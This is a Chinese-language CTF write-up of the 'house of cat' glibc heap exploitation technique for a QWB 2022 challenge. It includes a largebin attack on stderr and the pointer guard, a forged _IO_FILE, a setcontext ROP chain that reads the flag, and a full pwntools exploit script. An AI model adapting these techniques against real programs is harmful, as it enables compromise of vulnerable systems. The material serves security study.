- glibc 2.23 -- 至今
可以进行两次任意地址写堆地址(通常是largebin attack)
可以触发 IO 流操作
- 劫持stderr指针为我们构造的fake_IO_FILE
- __pointer_chk_guard 处写入已知内容,来绕过函数指针的调用对保护
- 触发io流
- 若stderr 的指针存放于 bss 段上,无法被我们修改,那么只能通过exit来触发FSOP,但由于我们的构造可能会导致异或内容被篡改后,exit无法正常执行,使得程序无法执行到我们构造的 IO流
- 需要攻击位于TLS结构体的_pointer_chk_guard,并且远程可能需要爆破TLS偏移
vtable
虚表中有_IO_cookie_jumps
结构体,在_IO_cookie_jumps
中包含着_IO_cookie_read
、_IO_cookie_write
等一系列函数
这些函数存在着任意函数指针的调用,但是这些函数指针的调用被pointer_guard
进行了加密
static ssize_t _IO_cookie_read (FILE *fp, void *buf, ssize_t size) { struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_read_function_t *read_cb = cfile->__io_functions.read; #ifdef PTR_DEMANGLE PTR_DEMANGLE (read_cb); #endif if (read_cb == NULL) return -1; return read_cb (cfile->__cookie, buf, size); } static ssize_t _IO_cookie_write (FILE *fp, const void *buf, ssize_t size) { struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_write_function_t *write_cb = cfile->__io_functions.write; #ifdef PTR_DEMANGLE PTR_DEMANGLE (write_cb); #endif if (write_cb == NULL) { fp->_flags |= _IO_ERR_SEEN; return 0; } ssize_t n = write_cb (cfile->__cookie, buf, size); if (n < size) fp->_flags |= _IO_ERR_SEEN; return n; } static off64_t _IO_cookie_seek (FILE *fp, off64_t offset, int dir) { struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_seek_function_t *seek_cb = cfile->__io_functions.seek; #ifdef PTR_DEMANGLE PTR_DEMANGLE (seek_cb); #endif return ((seek_cb == NULL || (seek_cb (cfile->__cookie, &offset, dir) == -1) || offset == (off64_t) -1) ? _IO_pos_BAD : offset); } static int _IO_cookie_close (FILE *fp) { struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_close_function_t *close_cb = cfile->__io_functions.close; #ifdef PTR_DEMANGLE PTR_DEMANGLE (close_cb); #endif if (close_cb == NULL) return 0; return close_cb (cfile->__cookie); }
保护全开,开了沙箱
限制申请大小 0x418-0x46f,限制修改次数两次并只能修改0x30字节
存在UAF漏洞,限制泄露数据最大大小为0x30字节
题目除了前面的加密,本身算是一道标准的菜单题,不过我们主要是要分析这道题里house of cat手法如何利用,前面需要逆向的部分不再赘述
首先是泄露libc基址和heap地址
largebin attack攻击stderr指针和__pointer_chk_guard
在 stderr 指针处写一个可控地址,在__pointer_chk_guard 处写一个已知地址
再利用UAF通过unsorted bin 会与 top chunk 合并的机制来修改top_chunk大小触发IO调用
进入 house of emma 的调用链,同时利用一个能够转移 rdi 到 rdx 的 gadget 为 setcontext 提供内容
利用 setcontext+61 来执行 orw,从而获取flag
add(0,0x428,b'aaa') add(1,0x428,b'./flag\x00') delete(0) add(15,0x448,b'./flag\x00') add(14,0x448,b'./flag\x00') show(0) libc_base=l64()-0x21a0d0 li('libc_base = '+hex(libc_base)) heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))#-0x290 li('heap_addr = '+hex(heap_base))
fake_file:
gadget = libc_base + 0x00000000001675b0 fake_file = b'0' * 0x78 fake_file += p64(libc_base+0x21ba60) fake_file = fake_file.ljust(0xc8, b'\x00') fake_file += p64(io_cookie_jumps_addr+0x18) fake_file += p64(heap_base + 0x10e0 + 0x450) fake_file += p64(0) enc_data =((gadget^(heap_base+0x1960))>>(64-0x11))|((gadget^(heap_base+0x1960))<<0x11) fake_file += p64(enc_data)
orw:
chunk13=heap_base+0x10d0+0x460 #chunk orw orw = p64(0) + p64(heap_base+0x10d0+0x460) orw += b'\x00' * 0x10 orw += p64(setcontext+61) orw += b'\x00' * 0x78 orw += p64(chunk13+0xb0) + p64(ret) orw += p64(pop_rdi_ret) + p64(0) orw += p64(close) #close(0) orw += p64(pop_rdi_ret) + p64(flag_path) orw += p64(pop_rsi_ret) + p64(0) orw += p64(pop_rax_ret) + p64(2) orw += p64(syscall) #open(flag_path,0) orw += p64(pop_rdi_ret) + p64(0) orw += p64(pop_rsi_ret) + p64(flag_path) orw += p64(pop_rdx_ret) + p64(0x41)*2 orw += p64(Read) #read(0,flag_path,0x41) orw += p64(pop_rdi_ret) + p64(1) orw += p64(Write)
add(2,0x428,b'bbb') add(3,0x418,fake_file) delete(2) add(13,0x438,orw) add(12,0x438,b'mmm') delete(3)
290-chunk2
6c0-chunk1
af0-chunk15
f40-chunk14
390-chunk3
7b0-chunk13
bf0-chunk12
pl=p64(libc_base+0x21a0e0)*2+p64(heap_base)+p64(stderr-0x20) edit(2,pl)
chunk3储存着我们伪造的fake_file
fake_file = b'0' * 0x78 fake_file += p64(libc_base+0x21ba60) fake_file = fake_file.ljust(0xc8, b'\x00') fake_file += p64(io_cookie_jumps_addr+0x18) fake_file += p64(heap_base + 0x10e0 + 0x450) fake_file += p64(0) enc_data =((gadget^(heap_base+0x1960))>>(64-0x11))|((gadget^(heap_base+0x1960))<<0x11) fake_file += p64(enc_data)
刚构造后的chunk3:
delete(3)并edit(2,pl)后的chunk3
0x3a0-0x3b0并不影响我们fake_file的布局
未修改chunk2后add(11,0x458,b'lll'):
delete(15) add(10,0x450,b'rrr') delete(12)
li('pointer_guard = '+hex(pointer_guard)) pl=p64(libc_base+0x21a0e0)*2 + p64(heap_base+0x860) + p64(pointer_guard-0x20) edit(15, pl) #main_arena+1120 main_arena+1120 #chunk15 pointer_guard-0x20
我们要修改这里,查看__pointer_chk_guard_local发现它,但是这里又是不可写的
查看fs_base,这里我们选择攻击的是fs+0x30偏移的这个值
将0xc87d070b4dced3ee覆盖掉
fs[0x30]以被我们修改,也可以看到__pointer_chk_guard_local没有改变
290-chunk2 - edit(stderr)
6c0-chunk1
af0-chunk15 - edit(pointer_guard)
f40-chunk14
390-chunk3 - stderr(fake_file)
7b0-chunk13 orw
bf0-chunk12 - pointer_guard
030-chunk11
add(8,0x450,b'ggg') #d50 delete(9) delete(10) delete(8)
add(7,0x460,b'a'*0x458 + p64(0x471)) add(6,0x460,b'a'*0x458 + p64(0x451))
add(4, 0x460, p64(0) + p64(0x100))
可以看到top_chunk的size已被我们修改
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n',str(1)) sla('plz input your cat idx:\n',str(5)) sla('plz input your cat size:\n',str(0x460))
__malloc_assert
fflush
_IO_cookie_write
getkeyserv_handle+576
orw
chunk13=heap_base+0x10d0+0x460 orw = p64(0) + p64(heap_base+0x10d0+0x460) orw += b'\x00' * 0x10 orw += p64(setcontext+61) orw += b'\x00' * 0x78 orw += p64(heap_base + 0x10e0 + 0x460+0xa0) + p64(ret) orw += p64(pop_rdi_ret) + p64(0) orw += p64(close) orw += p64(pop_rdi_ret) + p64(flag_path) orw += p64(pop_rsi_ret) + p64(0) orw += p64(pop_rax_ret) + p64(2) orw += p64(syscall) orw += p64(pop_rdi_ret) + p64(0) orw += p64(pop_rsi_ret) + p64(flag_path) orw += p64(pop_rdx_ret) + p64(0x41)*2 orw += p64(Read) orw += p64(pop_rdi_ret) + p64(1) orw += p64(Write)
orw += p64(pop_rdi_ret) + p64(0) orw += p64(close)
这里的close(0)解释一下,首先我们可以看到沙箱这里调用read的话会查看fd是否为0,非0则直接KILL
如果我们要将调用flag来读入到内存则一定要使fd为0,但0、1、2(标准输入、输出、错误)均被占用时,我们如果read flag,那么flag文件描述符则为3,程序会截止
而我们首先构造close(0),将标准输入关闭掉,再次read的时候flag文件描述符就将是0,则可以正常read
from pwn import * p=process('./pwn') libc=ELF('./libc.so.6') context.log_level='debug' s = lambda data :p.send(data) sa = lambda x, y :p.sendafter(x, y) sl = lambda data :p.sendline(data) sla = lambda x, y :p.sendlineafter(x, y) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00')) uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') context.terminal = ['gnome-terminal','-x','sh','-c'] def dbg(): gdb.attach(proc.pidof(p)[0]) pause() def add(idx,size,cont): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n',str(1)) sla('plz input your cat idx:\n',str(idx)) sla('plz input your cat size:\n',str(size)) sa('plz input your content:\n',cont) def delete(idx): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(2)) sla('plz input your cat idx:\n',str(idx)) def show(idx): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(3)) sla('plz input your cat idx:\n',str(idx)) def edit(idx,cont): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(4)) sla('plz input your cat idx:\n',str(idx)) sa('plz input your content:\n', cont) sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin') add(0,0x428,b'aaa') add(1,0x428,b'./flag\x00') delete(0) add(15,0x448,b'./flag\x00') add(14,0x448,b'./flag\x00') show(0) libc_base=l64()-0x21a0d0 li('libc_base = '+hex(libc_base)) heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))#-0x290 li('heap_addr = '+hex(heap_base)) pop_rdi_ret = libc_base + 0x000000000002a3e5 pop_rsi_ret = libc_base + 0x000000000002be51 pop_rdx_ret = libc_base + 0x000000000011f497 pop_rax_ret = libc_base + 0x0000000000045eb0 ret = libc_base + 0x0000000000029cd6 Read = libc_base + libc.sym['read'] Write = libc_base + libc.sym['write'] close = libc_base + libc.sym['close'] system = libc_base + libc.sym['system'] bin_sh = libc_base + 0x00000000001d8698 syscall = Read + 0x10 #print('================================ flag_path = heap_base + 0x440 rtld_global = libc_base + 0x275040 #0x278040 stderr = libc_base + libc.sym['stderr'] setcontext = libc_base + libc.sym['setcontext'] #mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] gadget = libc_base + 0x00000000001675b0 io_cookie_jumps_addr = libc_base + 0x215b80 pointer_guard = libc_base - 0x2890 _IO_stdfile_2_lock=libc_base+0x21ba60 #print('================================ fake_file = b'0' * 0x78 fake_file += p64(libc_base+0x21ba60) fake_file = fake_file.ljust(0xc8, b'\x00') fake_file += p64(io_cookie_jumps_addr+0x18) fake_file += p64(heap_base + 0x10e0 + 0x450) fake_file += p64(0) enc_data =((gadget^(heap_base+0x1960))>>(64-0x11))|((gadget^(heap_base+0x1960))<<0x11) fake_file += p64(enc_data) chunk13=heap_base+0x10d0+0x460 #chunk orw orw = p64(0) + p64(heap_base+0x10d0+0x460) orw += b'\x00' * 0x10 orw += p64(setcontext+61) orw += b'\x00' * 0x78 orw += p64(chunk13+0xb0) + p64(ret) orw += p64(pop_rdi_ret) + p64(0) orw += p64(close) #close(0) orw += p64(pop_rdi_ret) + p64(flag_path) orw += p64(pop_rsi_ret) + p64(0) orw += p64(pop_rax_ret) + p64(2) orw += p64(syscall) #open(flag_path,0) orw += p64(pop_rdi_ret) + p64(0) orw += p64(pop_rsi_ret) + p64(flag_path) orw += p64(pop_rdx_ret) + p64(0x41)*2 orw += p64(Read) #read(0,flag_path,0x41) orw += p64(pop_rdi_ret) + p64(1) orw += p64(Write) #write(1,flag_path,0x41) #print('=================================================sdterr add(2,0x428,b'bbb') add(3,0x418,fake_file) delete(2) add(13,0x438,orw) add(12,0x438,b'mmm') delete(3) pl=p64(libc_base+0x21a0e0)*2+p64(heap_base)+p64(stderr-0x20) #main_arena+1120 main_arena+1120 #chunk2 stderr-0x20 edit(2,pl) li('stderr = '+hex(stderr)) add(11,0x458,b'lll') #030 #print('=================================================pointer_guard delete(15) add(10,0x450,b'iii') #490 delete(12) li('pointer_guard = '+hex(pointer_guard)) edit(15, p64(libc_base+0x21a0e0)*2 + p64(heap_base+0x860) + p64(pointer_guard-0x20)) #main_arena+1120 main_arena+1120 #chunk15 pointer_guard-0x20 add(9,0x450,b'hhh') #8f0 add(8,0x450,b'ggg') #d50 delete(9) delete(10) delete(8) ''' add(7,0x460,b'fff') add(6,0x460,b'eee') ''' add(7,0x460,b'a'*0x458 + p64(0x471)) add(6,0x460,b'a'*0x458 + p64(0x451)) delete(6) delete(9) add(4, 0x460, p64(0) + p64(0x100)) sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n',str(1)) sla('plz input your cat idx:\n',str(5)) sla('plz input your cat size:\n',str(0x460)) itr()
第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全客 - 安全资讯平台 (anquanke.com)
强网杯2022&pwn&house_of_cat: https://www.bilibili.com/video/BV1XV4y1j7kf/